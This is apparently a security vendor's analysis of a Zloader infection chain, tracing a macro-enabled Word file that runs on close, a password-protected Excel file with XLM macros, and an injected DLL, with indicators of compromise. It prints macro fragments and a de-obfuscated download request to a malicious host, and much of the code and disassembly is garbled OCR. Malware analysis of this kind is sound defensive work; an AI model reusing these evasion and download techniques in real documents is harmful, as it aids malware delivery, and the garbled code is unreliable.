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Zloader aka Terdot — a variant of the infamous Zeus banking malware is well known for aggressively using
“xls”, “.xlsx” documents as its initial vector to deliver its payload. Despite this, recently we have come across
“.docm” file which is being used by Zoader family to perform its initial activity. This shows adversaries like to
experiment with office documents to avoid being detected by security solutions.
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Fig.1-Attack Chain
Initial Vector:

Here infection chain starts with “.docm” file. Docm stands for “Macro-enabled office word document”. We
can see below, the document view asking user to enable content.
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Fig.2- Document View

Like many other documents, we tried to observe its activity after enabling content but there was no activity in
it. By looking at its VBA code, we got our answer. Enabling content will not do execution of macro. Here
macro execution starts on “Document close” as shown.

‘§% File Edit View Inset Format Debug Run Tools Add-Ins Window Help
MR LaA 9 aRYNFE O

: A IDocurnent j |Close
o3 4
=-&% Project (Dep_det_344460 ~ Public gq, ant, vg, cyo3o, vp |
. B3 Microsoft Word Objects Sub_Document_Close ()
3] -00cmer] [oon ]
[=-5 Forms End Sub
[ userForm1 Ub nnn()
[E8 userForm2 = hés = Application.Options.OptimizeForWord97byDefault
8 userForm3 If ie > 3542 Then
| ﬂ UserForm4 zi4sj = Application.Options.AutoFormatAsYouTypeRpplyClosings
T Dk im o wd Ame

Fig.3- Macro Function Call

As soon as victim close this document, function “nnn” gets called which is the main function of this VBA
macro. In this, again sub functions are being called. Here adversaries also make use of “Userform” to
perform next stage activity.
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14x24 = Application.Options.LocalNetworkFile

If hés > 3850 Then

n0 = Application.Options.MultipleWordConversionsMode
hés = n0

erForm2.ComboBoxl.ListIndex = 2

. a2

IUserForm

| Private Sub UserForm Initialize()

On Error GoTo ErrorHandler

Fig.4- Sub Function Call

UserForm_Initialize() function is used to invoke “Userform2”. Below image shows the userform2 object. In its
dialog box, url data is chunked and overlapped on 25th ComboBox to hide actual data as shown below.
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Fig.5- Hidden URL Data

After going through all ComboBox of userform2, we were able to locate malicious url which is used to
download 2nd stage payload.
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" Fig.6- Chunked URL Data

To sum up above activity, adversaries are making use of for loop to access all these values and create final
url as shown below,

Private Sub UserForm Initialize()

On Error GoTo ErrorHandler

jdé€ = UserForm2.Controls.Count - 1

If Len|(UserForml.ComboBox4) > 10 Then

jde = jd8 = 2
End If

uv-“”

For ypk = 1 To jd8 Step 2 LOOp to create

uv = uv & UserForm2.Controls.Item(ypk)

| Next U RL

Type | Context
“hitps.//feelingfit-always.com/1.php™ |Variant/String UserForm2. Userform_initialize

Fig.7- Creation of URL on Document Close

Site “hxxps[:J//feelingfit-always[.Jcom/1[.Johp” which is malicious having score 11 on virus total, is used to
download password protected XLS file. Its password is hidden again in VBA macro in “Userform1”. By
exploring userform1 data, we were able to extract hidden password.

mx4ne = 1

While o8v <> 0 And mx4ne < 3
Set b9 = gj2m.Workbooks.Open (FileName:=UserFormZ.ComboBoxl,| Password:=UserForml.ComboBoxZ2)
08v = Err.Number
mx4ne = mx4ne + 1
Wend

Fig.8- Macro Code to protect XLS with password
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2nd Stage Payload:

Protecting document with password is classic technique to defend against AV vendors. Correct password is
necessary to dig further into analysis. After matching above password, we can finally see excel workbook

=

Fig.9- XLS Hidden Password

content. XLM macro is used in “Sheet3” to perform further activity.
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AB AC AD

ThisWorkbook.Auto_Open3

184 |Function bxh59()bxh59="1"End FunctionFunction c7ry1()c7ry1=1End FunctionFunction c9ex5()c9

185
186
187
188
189
190
191
192

M 4 » M| Sheet3 -~ Sheet? - Sheeti -~ ¥J

ltem

Fig.10- XLS Workbook

AE AF

ex5=1End FunctionF

I ——

Here code is embedded in different cells of document. Below figure shows the extracted macro code from

above workbook:
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Fig.11- XLM Macro Code

Here adversaries make use of excel inbuilt functions like IIF and Switch to obfuscate data. Final de-
obfuscated code can be seen as below,

WinHttp. WinHttpRequest.5.1.0pen GET https[:]//santarosafuneralhome|.Jcom/2.php False
WinHttp. WinHttpRequest.5.1.SetRequestHeader
WinHttp. WinHttpRequest.5.1.send
Above malicious url having virus total score 8 is used to download 3rd stage payload of this attack.
Final Payload Analysis:

The DLL is the final payload of Zloader. Here the DLL is highly obfuscated and avoids direct calls to the
Windows APIs. Hashing is used to calculate the addresses and makes the call with the calculated values,
making the reversing difficult.
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The DLL creates process ‘msiexec.exe’, which is a genuine Microsoft process that belongs to Windows

w

5
B1EC 790AA0AA

8BYS BC
68 C4827464
E8 E7DDFFFF

F?
8BB495
8907
85C8

74 313
98

B82CA2108

|Dicassembly

PUSH EBP
MOU EBP.ESP

PUSH ESI
SUB ESP.989

HOVU ES

> PIR SS§:[EBP+C]
PUSH 647482C4

'CALL nioth.18089D58
ADD ESP.4

E
TEST Enx EAX
aE SHORT nioth.1BABBFBG

AT

ECR
EAX.DWORD PTR DS:[EDX=4+18822CBS ]
DI, ED¥

89Da
35 ACBB7464
8DAC1A

BFAFCA
31C1

@101
8AC1 F8
ggBD BE2W©218

C3
o

|Disassembly

PUSH EBP
MOU EBP.ESP
MOV EDX,DWMORD PTR SS:[EEF+81
MOU EAX.EDX

XOR EAX,647480A0C

LEA ECX.DMORD PTR DS:[EAX+EDX]
IMUL ECH.EDX
HOR ECX.EAX

ADD ECX,EDX
ADD CL,AF&

MOV BYTE PTR DS:[188228BE],CL
POP EBP

RETN
NOP

Fig.12 — Code for address calculation

Component installer, in suspended mode and injects encrypted file to it.

“ - [CPU - main thread, module kernel32]

[@] File View Debug Phugins

Help

[RECRSIRE

[ = = W

LY L =)

[Paused

PCBB2I7L

eanaa7
7cae2300

PCRAZIAC

ke n3
7CBB23A8
PCBE2INF
7CBA23E6
PGB BE

Address |Hex dunp
: 60

Comment

[

SE=
25!

3
807D CC
EDI-8BU6F520, (RECIT

€745 C8 P1ABAB0R

TmeieKec.oxe )

2:
MOV DWORD PTR 88: [m-ﬂl]
XOR EAX.EAX
LER EDI DMORD PTR 86z [EBP-341

nioth

ntdll.7C91CBAE

1ioth. 10090080
d11.7G9811A7

rinth.1008AFI0

kernel32.CreateProcessA

-<ModuleEntryPoint>

Address |Hex dunp

|nsciT

nagunn CFPUD <

BN T ST T

PCBO2I67 kerr
ES @823 32hit B<FF]
r‘s‘ 0818 32hit BCFFI

8823 32hit WCFFFEFFEF
5% B33 aomie ACFFFERRERS
F§ @B3B 32hit ?PFDFEAACFFFY
GS @868 NULL

LastEry ERROR_PATH_NOT_FOUND (@@B80863>
. BAAAB206 <NO,NB.NE.A.NS.PE.GE,G)

v UNORH BA1C @1B50164 AAGCARGF
+UNORN BB5C PB300B31 PEZEBDIL
+UNORH @AZE DPG7ARGE APG40A7Y

Fig.13- ‘msiexec.exe’ created in suspended mode

wuuﬁscas
BRABRCIR
BREBSCAE
BAABRCSE
BOHBESCHE
BAAERCTR
HHUBBCEE
BARESCIR
ARABBCAR
BAEEFCER
HAABRCCR
BERESCDE
ARARBCER
BAAEFCFE
HAABRDAR
BBEES D18
BAABRD2 8

M.d.vus Hex d

RASCIT
22 BA ZE 95 22 40 ZE B%
22 B8 2E 95 22 @a 2E @5 =
22 80 2E @5 22 @0 2E @5 22 Dn ZE @5 22 .9 L
2C @A %A BC EF 2B % @4 6E C7 @F 51 4A 011,_u.nrﬁ0nﬁﬂ.l
52 78 41 62 58 6B 43 2% 41 6B 48 6B 4D c IxExAbPkGiAkEKA
47 24 5C 78 4C 20 47 6B B2 4E 61 56 B2 "“PyGe=.pL=CkEHala
47 24 23 B8 28 2E 2E 22 @an 2E @5 22 qﬂnGSlE( S, v
FC 7D 95 65 AF 7D 95 65 AF 7D 95 b5 AF 9 (é¥>dentbentien
AE 74 95 65 AF 7?0 95 64 AF 5B 95 65 AF Tidatbexrbdelben
AF 7C 95 &5 AF D7 CB 67 AF
40 7D 95 65 AF Bh 2E AS 2 2
22 @A 2E @5 22 @A 2E 85 2
22 46 2F @1 22 D7 6B GG 2
22 En 2E 97 82 81 2F BB 2
22 WA 2E @5 22 Dh E6 AS
22 @A 2E OF 22 @n 3E 85
22 B ZE @5 22 @C 2ZE A5

¥

1BABBEHL
3 AAAGRA4C

BABEF 188

BHHGFI1@8
BRAeF314
BOAGFILE
BR6F31C
#anBsF3IZa
BRBeF324
BABGFIZE
BOR6F32C
BARGFITA
BRBeF334
BRAREFIT8
BOBGFI3C
ARRGF3I48
BABGF 344
BREEFI48
AARRFI4C

3 wrrentDir - HULL
pStartupinfo - BABGFRL4
#BA6P314 ¢ Loirocesiinin - @AREFESC
BEB6F318

BEENAEBE
PAABRC1E
[T ]
BRA6FE84
BAIAAB43
BA44885C | LOADDLL . 8844885 C
BALIAAGF
BE6DEBTS
BAGERDGS
BA7I0E7d
PAG1ABZA
B85 1886 E
BAS3IAEZA
Ba718865
PAGTARTS
BA6 A6 E
BASCART3
ARRAAR41

BOABE
lll,'tc.;lowl ite =
pEytesUeitten = @@

' Fig. 14- Encrypted file injected in ‘msiexec.exe’

It also injects a routine that will decrypt and bring the malicious PE out for execution.

CALL o Nr:u:cl’l ocezzMenory From nioth.1URHBAAF
£33 ARREAR4C Cwindow>

C18
2680 (1!;!4(.'1!:! ]
B6F88
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~ istere C(FPUD < < < € < < <
BBhGEFE 14 ST EAX YCEAZZOF kernelld?.WriteProcecsMenory
BB FH1 - bl ECY 98B6FE14
POBEFE 1 HOU EAX. 2ERS2200 EDY DORROBaL
ARG PR 2] CHP ECX.H Elv BHB6FE84
BOOEFE2 JE SHORT @@B6F831 ESP DOR6FI00
BORG P82 HOR BYTE PTR DS:(ESIJ.AL EBP 9986FE9C
BBB: P82 IHC ES1 EE] BDBE26080
ARG FE2 ROL EAX.8 ED] | DRRDAREA
BOBEFEZ E e o 132 .MriteProcessMenar
AABEFR2 FB F2 JHP SHORT PBAGFS23 ernell2 WriteProcessMenory
BBBGFE1N- EY AECAFDEF JHP G284 ce
B0 ADD BYTE PTR DS:[EAR ﬂh ; |!| 1
BBBLFEI8 | BRRA t - bi
PABLFEIA 0080 ADD BYTE PIR DS:[EAX].AL zZae 0823 171 it @CF! Decryptlon
BBBGFRIC BHAR :gg s; -t :: g§ :E g8 S BAIB 32hit 7FF t " t d
BOMEFE3E 0088 3 , T @ GS P200 NULL
POAGPR4E | BUAA ADD BYTE PIR DS:[EAX].AL DA HOUNITIENI| SELE
BOBEFE42 aoaa al;l; E; ; i g§ ,:I’[: 0 @ LastErr ERROR_SUCCESE (08008008 )
MHlir.I'H44 a0ea 5 = .
F8 2088 ADD BY )5 : [EAX 1 AL EFL BEAA286 (MO.NB.NE.A.NS,.PE.GE.G>
Mimrlﬂ-an [G ADD BYTE P1 b8z [EAX ). AL STH enpty -UNORN BAIC B1058184 A86CAMGF
UUU&}-S“IR i) ADD BY F1 )5 : [EAX 1. AL .;Tl enpty *UNORN B05C PB38PO31 PBZEBG31
ARG ADD BY 1S : [EAX 1AL 8T2 enpty +UNORM GA2E BA670A62 AA64AA79
[l ADD BYTE PIR DS:[EA%].AL §13 onpty .8
[t ADD BYTE PI 0G: [EAX 1. AL $T4 npty 8.8
Boae npD BY bE: LEAR J. AL npty 9.8
(G0 ADD BYTE PI h&: [EAX 1. AL \Tr enpty 8.0
56 L) ADD BY )G [EAX 1. AL ET7 enpty B.8
{BAANGFRSE IRSCAR AR4ICARAA SRR RYTE P] = 8 3210 ESPUOCZDI
ES1 00826086 FET BBEA Cond AW WA Err BB ABARABRA GI>
FCU 827F Prec NEAR.53 Haszk 111111
Address |Hex [AscrT P to llri'tchuunﬂmx-y !m nioth.l0BOB19D
VOO 814 BE Wi Bl % 11 B 6W | B2 0 D8 bR 22 W5 ZF B3 L - BProcess - BOBADBAC (window
BOO6FB24 F9 @8 74 09 38 86 46 C1 CO 88 49 EB F2 E9 4E CA | - FA Q1 520N 0086388 fddress - DEOBR
AAAGFBI4 FD FF A9 AR A4 A4 OA HA BA PN PA AN AN AP AR #A| 2 9AR6FIAC Buffer - BAAGFRL4
BOBGFE44 B8 0@ B2 BE B3 B2 BA VA B0 BA BO BY BY 2P BR BB | . BR86FI18 x““l’““i“ oAz <k )
PANGFES4 AR AR AP AR 18 8C AB A 4C AA PA AA 50 AP PR PR . ﬁgig yresieitten - ORB6FES
BBBLFE6 28 07 B8 B8 Ll1 8 B9 8 uu z; nb zl-. B 22 85 2E|<
A006 A4 0@ 0@ AR O @ A0 AR AR 1A . 886F31C LOADDLL. B8448a5C
BOOCFBE4 88 60 02 B9 B9 B9 un [ m rm hD i:llei B8 F8 @6 @) ."0 e

F/g 15- Decrypt/on Routlne

With the setting of thread context, the initial execution point is passed and finally the injected code is
executed with resume thread.

When this thread of msiexec.exe comes into execution, it tries to make connection to its CnC servers as shown,

Madule APL (J, Return Value
WININET. dll GetSystemTimeAsFileTime [ 00021621 c )

WINIMET.dll EnmterCriticalSection [ 0=D03E82458 )

WINIMNET.dll LeaveCriticalSection [ D=D03E3458 )

WINIMET. il GetaddrinfoExW [ tiodeitidampheater.ti”, NULL MN5_DN5 MULL, s WSAHOSET_NOT.,,
wi2_32.dll 'I Getalus |[31) Dl 38 5568

wiZ 32.dl E'_I.G—I-..-.ll-:'.-1'| D0 ZR5EES

Since these urls were down at the time of analysis, we were not able to go further deeper into it.
Conclusion:

This type of attack shows how adversaries innovate their mechanism to start infection chain to compromise
victim. User should always be cautious while opening any office files. Quick Heal and Seqrite enterprise
security solutions protect its customers from such files. So, remember to keep the endpoint security
solutions always updated.

I0Cs:

DOCM: 117fafb46f27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d
409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1
91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4

XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591fd68c59dfc89
URL:

https[://tiodeitidampheater.tk/post.php

https[://]actes-etatcivil.com/post.php
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https[://]lankarakreatif.com/post.php
https[://lwww.ramazanyildiz.net/post.php
https[://]lhispaniaeng.com/post.php
https[://lwww.ifdd.francophonie.org/post.php
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